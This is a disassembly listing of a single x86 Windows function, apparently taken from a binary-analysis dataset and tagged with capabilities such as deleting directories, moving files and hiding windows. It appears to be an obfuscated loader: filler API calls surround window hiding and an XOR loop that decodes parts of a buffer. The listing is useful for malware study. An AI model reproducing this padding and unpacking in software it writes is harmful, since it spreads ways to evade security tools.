Function at 0x402060
Capabilities:
Delete directory
Get common file path
Hide graphical window
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x510776
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x564490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
add dword [ebx], 0xffffff9b
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push 0x56c
push 0x72
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x51ee34
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, dword [ebx]
push ecx
mov dword [ebp - 4], 0xffffffff
call fcn.0040785c
add esp, 4
mov dword [ebp - 0x17c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebx]
mov eax, dword [edi]
mov ecx, dword [ebp - 0x17c]
push edx
add eax, 0x65
push eax
push ecx
call fcn.004f9cf0
add esp, 0xc
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [edi]
push eax
call fcn.00407851
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea edx, [ebp - 0x180]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0x37
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 1
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov ecx, dword [ebp - 0x17c]
push 0x51ee28
push 0x51ee20
mov dword [edi], ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0x1240
push 0x5b
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x100
lea edx, [ebp - 0x110]
push edx
push 0
push 0x3b3e
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov eax, dword [edi]
push 0
add eax, 0x12d
push 0x10
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x138], 0xf
mov dword [ebp - 0x13c], 0
mov byte [ebp - 0x14c], 0
call fcn.00401170
cmp dword [ebp - 0x138], 0x10
mov eax, dword [ebp - 0x14c]
jae 0x402212
lea eax, [ebp - 0x14c]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx]
mov dword [eax], edx
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0xc], ecx
mov eax, 0x10
cmp dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x14c]
jae 0x40224d
lea eax, [ebp - 0x14c]
mov byte [eax + 0x10], 0
push 0x51ee10
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x51ee04
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x51edfc
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [edi]
push 0
add eax, 0x2007
push 0x18
lea ecx, [ebp - 0x130]
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
call fcn.00401170
cmp dword [ebp - 0x11c], 0x10
mov eax, dword [ebp - 0x130]
jae 0x4022ea
lea eax, [ebp - 0x130]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx]
mov dword [eax], edx
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x10], edx
mov ecx, dword [ecx + 0x14]
mov dword [eax + 0x14], ecx
cmp dword [ebp - 0x11c], 0x10
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x120], 0x18
jae 0x402331
lea eax, [ebp - 0x130]
mov byte [eax + 0x18], 0
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
lea edx, [ebp - 0x130]
push edx
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x168]
push ecx
mov dword [ebp - 4], 0xd
call fcn.00401670
add esp, 0xc
push 0
push 0x31
push 0x2c
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
xor ecx, ecx
cmp dword [ebx], ecx
jbe 0x402400
lea esp, [esp]
cmp ecx, 0x12d
jb 0x4023b0
cmp ecx, 0x13d
jb 0x4023fb
cmp ecx, 0x2007
jb 0x4023c0
cmp ecx, 0x201f
jb 0x4023fb
cmp dword [ebp - 0x154], 0x10
jb 0x4023d7
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x17c], edx
jmp 0x4023e3
lea eax, [ebp - 0x168]
mov dword [ebp - 0x17c], eax
xor edx, edx
mov eax, ecx
div dword [ebp - 0x158]
mov eax, dword [ebp - 0x17c]
mov esi, dword [edi]
mov dl, byte [edx + eax]
xor byte [esi + ecx], dl
inc ecx
cmp ecx, dword [ebx]
jb 0x4023a0
mov esi, 0x10
cmp dword [ebp - 0x154], esi
jb 0x40241c
mov eax, dword [ebp - 0x168]
push eax
call fcn.00407851
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x154], edi
mov dword [ebp - 0x158], 0
mov byte [ebp - 0x168], 0
cmp dword [ebp - 0x11c], esi
jb 0x40244f
mov ecx, dword [ebp - 0x130]
push ecx
call fcn.00407851
add esp, 4
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
cmp dword [ebp - 0x138], esi
jb 0x40247d
mov edx, dword [ebp - 0x14c]
push edx
call fcn.00407851
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fa7f1
mov esp, ebp
pop ebp
ret